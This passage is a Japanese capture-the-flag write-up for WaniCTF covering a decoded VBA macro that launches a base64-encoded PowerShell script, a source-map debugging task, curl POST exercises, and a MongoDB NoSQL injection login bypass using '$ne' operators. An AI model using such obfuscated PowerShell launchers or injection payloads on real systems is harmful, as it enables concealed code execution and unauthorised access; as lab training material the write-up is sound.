unxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) +\
unxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) +\
unxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) +\
unxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) +\
unxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) +\
unxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) +\
unxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) +\
unxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) +\
unxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) +\
unxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) +\
unxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) +\
unxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) +\
unxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) +\
unxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) +\
unxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)
print(shell_script)
$ ./decode_vba_code.py
powershell -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA
$

そういうわけで次はPowerShellです。-eオプションは後続の文字列をBase64デコード結果をスクリプトとして実行するので、デコードします。この時、PowerShellはUTF16-LEを使う点に注意します:

$ python3.8 -q
>>> s = "LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA"
>>> import base64
>>> base64.b64decode(s).decode("utf-16")
".('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()"
>>>

後は1つ前の問題と同様に、文字列として評価できそうな部分をPowerShellで実行してやります:

PS C:\> (nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) ).reaDToEND()
echo "Yes, we love VBA!"

$input = Read-Host "Password"

if ($input -eq "FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}") {
  Write-Output "Correct!"
} else {
  Write-Output "Incorrect"
}


PS C:\>

1つ前の問題と同様に、入力を比較しているところからフラグを入手できました: FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}

[Web, Beginner] sourcemap (158pt, 178solved)

へっへっへ...JavaScriptは難読化したから、誰もパスワードはわからないだろう...

え? ブラウザの開発者ツールのxxx機能から見れちゃうって!?

https://sourcemap.web.wanictf.org

とりあえずURLにアクセスしてみると、パスワードを入力するフォーム1つのページが表示されました。入力してボタンを押すと、パスワードが正しいかどうか判定してくれるページのようです。

Google Chromeの開発者ツールのSourceタブを表示してjsファイルを開きます。この時「Pretty-print」ボタンをクリックすると改行やインデントを施してくれて見やすくしてくれます。clickイベントが設定されていそうなので検索すると、app.bcff35da.js内部の1箇所に見つかります:

[e("b-button", {
                attrs: {
                    type: "is-primary",
                    label: "Check"
                },
                on: {
                    click: function(r) {
                        return t.submit()
                    }
                }
            })]

return t.submit()行の行番号付近をクリックしてブレークポイントを設定し、実際のボタンをクリックしてブレークさせます。その後ステップイン等を試していると、フラグを構築しているであろう箇所が見えます:

this[t(635, 631, 644, 637)] === e(426, 438, 431, 439) + e(440, 447, 438, 437) + t(622, 614, 627, 628) + t(626, 634, 618, 617) + "_50urc3m4p}" ? this[t(630, 628, 634, 628)] = !0 : this[t(636, 644, 639, 645)] = !0

その行でブレークした状態で、Consoleタブに移って比較対象を評価してやります:

> e(426, 438, 431, 439) + e(440, 447, 438, 437) + t(622, 614, 627, 628) + t(626, 634, 618, 617) + "_50urc3m4p}"
< 'FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p}'

フラグを入手できました: FLAG{d3v700l_c4n_r3v34l_50urc3_c0d3_fr0m_50urc3m4p} (Beginner問題にしてはだいぶ難しいのでは……?)

(2021/11/07 21:20追記)公式writeupによると、本問題のWebサイトではソースマップというものが配信されていて難読化前のJavascriptコードを閲覧でき、コメントとしてフラグが書かれているそうです。それはBeginner!

[Web, Easy] POST Challenge (181pt, 119solved)

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!

https://post.web.wanictf.org/

URLにアクセスすると、以下の説明文と、5つの問題がありました。各問題にはヒントも記述されています:

HTTP POSTに関する問題を5つ用意しました。すべて解いてFLAGを入手してください!
FLAGの形式は
FLAG{[Challenge1のFLAG]_[Challenge2のFLAG]_[Challenge3のFLAG]_[Challenge4のFLAG]_[Challenge5のFLAG]}

また、配布ファイルにapp.jsが含まれているます。5問とも、そのファイルを見ながら適切なPOSTをする問題です。

    Challenge 1

https://post.web.wanictf.org/chal/1に適切なデータをPOSTしてください。

ふつうは入力欄があってそこに入力してボタンを押すとPOSTされるのですが、今回は入力欄がないので自分でツールを使ってPOSTリクエストを送信しましょう。 WSLやLinux環境がある人はcurlというコマンドが使用できると思います。pythonが使える人ならrequestsというライブラリが使いやすいです。 WaniCTFの問題画面から添付されたソースコードをダウンロードしてapp/app.jsを確認してみると、送信すべき内容がわかります。 また、POSTした後に帰ってくるレスポンスにrequest.bodyの内容を表示しているので活用してください。

app.jsを見ると、dataキーにhogeという値を与えれば良さそうです:

app.post("/chal/1", function (req, res) {
  let FLAG = null;
  if (req.body.data === "hoge") {
    FLAG = process.env.FLAG_PART1;
  }
  res.render("chal", { FLAG, chal: 1 });
});

curlコマンドでは-dオプションを使うと、POSTメソッドでデータを送信できます:

$ curl -d 'data=hoge' https://post.web.wanictf.org/chal/1
<!DOCTYPE html>
<html>
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"
      integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
  </head>

  <body>
    <nav class="navbar navbar-expand-sm navbar-light bg-light">
      <a class="navbar-brand" href="/">POST Challenge</a>
    </nav>
    <div class="container">


  Congratulations! Challenge 1 FLAG: y0u

<!-- debug: {"requestHeader":{"host":"post.web.wanictf.org","user-agent":"curl/7.58.0","content-length":"9","accept":"*/*","content-type":"application/x-www-form-urlencoded","x-forwarded-for":"198.51.100.1","x-forwarded-proto":"https","x-real-ip":"198.51.100.1","accept-encoding":"gzip"},"requestBody":{"data":"hoge"}} -->
    </div>
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"
      integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
      crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"
      integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx"
      crossorigin="anonymous"></script>

  </body>
</html>$

Challenge1のFLAGはy0uと分かりました。(以降、curlのレスポンスが長いのでgrepします。)

    Challenge 2

https://post.web.wanictf.org/chal/2に適切なデータをPOSTしてください。

添付されたソースコードのapp/app.jsを確認してみると、リクエストヘッダを確認して条件分岐をしていることがわかります。 challenge1のヒントで紹介したツールには、任意のリクエストヘッダを送信するためのオプションがあるので、調べてみてください。 また、POSTした後に帰ってくるレスポンスにrequest.headersの内容を表示しているので活用してください。
app.post("/chal/2", function (req, res) {
  // リクエストヘッダのUser-AgentにどのブラウザでもついているMozilla/5.0がある場合のみFLAGを送信
  let FLAG = null;
  if (
    req.headers["user-agent"].includes("Mozilla/5.0") &&
    req.body.data === "hoge"
  ) {
    FLAG = process.env.FLAG_PART2;
  }
  res.render("chal", { FLAG, chal: 2 });
});

curlでは-AオプションでUserAgentを指定できます:

$ curl -A 'Mozilla/5.0' -d 'data=hoge' https://post.web.wanictf.org/chal/2 --silent | grep FLAG
  Congratulations! Challenge 2 FLAG: ar3
$

Challenge2のFLAGはar3と分かりました。

    Challenge 3

添付されたソースコードのapp/app.jsを確認してみると、data.hogeのような深いプロパティに対してチェックを行おうとしています。 このような場合はdataを連想配列形式にする必要があります。そのためには、keyにブラケット表記を用いるかJSON形式を使用します。
※サーバで使用しているライブラリや設定によって使えるかどうかが変化します。
app.post("/chal/3", function (req, res) {
  let FLAG = null;
  if (req.body.data?.hoge === "fuga") {
    FLAG = process.env.FLAG_PART3;
  }
  res.render("chal", { FLAG, chal: 3 });
});

curlで試すとブラケット表記を使えました:

$ curl -d 'data[hoge]=fuga' https://post.web.wanictf.org/chal/3 --silent | grep FLAG
  Congratulations! Challenge 3 FLAG: http
$

Challenge3のFLAGはhttpと分かりました。

    Challenge 4
添付されたソースコードのapp/app.jsを確認してみると、送られたデータが数字やnullであるかチェックしています。 文字列ではなく数字やnullなどを送信したい場合はJSON形式で送信します。
※サーバで使用しているライブラリや設定によって使えるかどうかが変化します。
app.post("/chal/4", function (req, res) {
  let FLAG = null;
  if (req.body.hoge === 1 && req.body.fuga === null) {
    FLAG = process.env.FLAG_PART4;
  }
  res.render("chal", { FLAG, chal: 4 });
});

curlでは-Hオプションで任意ヘッダーを指定でき、Content-Type: application/jsonを指定することでJSONを送信できるとのことなので試しました:

$ curl -H 'Content-Type: application/json' -d '{"hoge":1, "fuga":null}' https://post.web.wanictf.org/chal/4 --silent | grep FLAG
  Congratulations! Challenge 4 FLAG: p0st
$

Challenge4のFLAGはp0stと分かりました。

    Challenge 5
添付されたソースコードのapp/app.jsを確認してみると、送信されたファイルのハッシュをチェックしています。 画像を送信する時はmultipart/form-data形式を使用します。
※サーバ側の実装として受け取る形式をJSON形式で統一したい場合など例外あり
function md5file(filePath) {
  const target = fs.readFileSync(filePath);
  const md5hash = crypto.createHash("md5");
  md5hash.update(target);
  return md5hash.digest("hex");
}

app.post("/chal/5", function (req, res) {
  let FLAG = null;
  if (req.files?.data?.md5 === md5file("public/images/wani.png")) {
    FLAG = process.env.FLAG_PART5;
  }
  res.render("chal", { FLAG, chal: 5 });
});

curlでは、-Fオプションを使うと、指定ファイル名で指定内容をPOSTできるとのことです。また、(-Fに限らず-d等でも)@文字を含めると、以降のファイルパスの内容を送信してくれるとのことです:

$ curl -F data=@app/public/images/wani.png https://post.web.wanictf.org/chal/5 --silent | grep FLAG
  Congratulations! Challenge 5 FLAG: m@ster!
$

Challenge5のFLAGはm@ster!と分かりました。

そういうわけで問題文URLの指示通りに各種FLAGを結合し、POST Challenge問題のフラグを入手できました: FLAG{y0u_ar3_http_p0st_m@ster!}

[Web, Normal] NoSQL (224pt, 68solved)

NoSQLを使ったサイトを作ってみました。ログイン後に/にアクセスすると秘密のページを見ることができます。

https://nosql.web.wanictf.org/

とりあえずURLにアクセスすると、UsernameとPasswordを指定するログインフォームがありました。これにログインする必要がありそうです。配布ファイルを確認すると、app/routes/login.jsの内容からMongoDBを使っていることが分かりました:

var express = require("express");
var router = express.Router();

const { MongoClient } = require("mongodb");
const uri = "mongodb://root:aduhwsfeok@mongo:27017?writeConcern=majority";

router.get("/", function (req, res, next) {
  res.render("login");
});

router.post("/", async function (req, res) {
  const client = new MongoClient(uri);
  try {
    if (!req.body.username || !req.body.password) {
      throw "error";
    }

    await client.connect();
    const user = await client.db("nosql").collection("users").findOne({
      username: req.body.username,
      password: req.body.password,
    });
    if (!user) {
      throw "error";
    }

    req.session.user = user;
    res.redirect("/");
  } catch (error) {
    const debug = JSON.stringify({
      username: req.body.username,
      password: req.body.password,
    });
    res.render("login", { message: "ログインに失敗しました", debug });
  } finally {
    client.close();
  }
});

module.exports = router;

findOne関数のドキュメントに記載のあるquery operatorsを調べていると、$ne等の演算子を使えることが分かりました。条件を満たすものが複数ある場合でもfindOne関数は「natural order」で最初のものを返すらしいため、何にでもヒットする演算子を指定してやれば良さそうです。

curlで試しました。curlでは-bオプションでクッキーを指定できました:

$ curl -i -H 'Content-type: application/json' -d '{"username": {"$ne": ""}, "password": {"$ne": ""}}' https://nosql.web.wanictf.org/login
HTTP/2 302
content-type: text/plain; charset=utf-8
date: Sun, 07 Nov 2021 05:50:54 GMT
location: /
set-cookie: connect.sid=s%3AZNWGFsiwMSRJ17mhfovlAOiMgfr8qyAC.47iOmkOOM4J1GatUUQz2lSk7bvwEKRyQbb2BY3W3rko; Path=/; HttpOnly
vary: Accept
x-powered-by: Express
content-length: 23

Found. Redirecting to /$
$ curl -b 'connect.sid=s%3AZNWGFsiwMSRJ17mhfovlAOiMgfr8qyAC.47iOmkOOM4J1GatUUQz2lSk7bvwEKRyQbb2BY3W3rko; Path=/; HttpOnly' https://nosql.web.wanictf.org/
<!DOCTYPE html>
<html>
  <head>
    <!-- Required meta tags -->
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">

    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/css/bootstrap.min.css"
      integrity="sha384-TX8t27EcRE3e/ihU7zmQxVncDAy5uIKz4rEkgIXeMed4M0jlfIDPvg6uqKI2xXr2" crossorigin="anonymous">
  </head>

  <body>
    <nav class="navbar navbar-expand-sm navbar-light bg-light">
      <a class="navbar-brand" href="/">NoSQL Challenge</a>
      <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent"
        aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
      </button>
      <div class="collapse navbar-collapse" id="navbarSupportedContent">
        <ul class="navbar-nav ml-auto">
          <li class="nav-item">

              <a class="nav-link" href="/logout">ログアウト</a>

          </li>
        </ul>
      </div>
    </nav>
    <div class="container">

      FLAG{n0_sql_1nj3ction}
    </div>
    <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"
      integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj"
      crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js"
      integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx"
      crossorigin="anonymous"></script>
  </body>
</html>$
$

フラグを入手できました: FLAG{n0_sql_1nj3ction}

感想

  • 今回も教育的な問題が多くて素晴らしかったです。
  • 48時間あると全問題じっくり眺める時間があって楽しめました。
  • 今回も、配布ファイル名がcry-fox分類-問題名となっているのが分かりやすくてよかったです。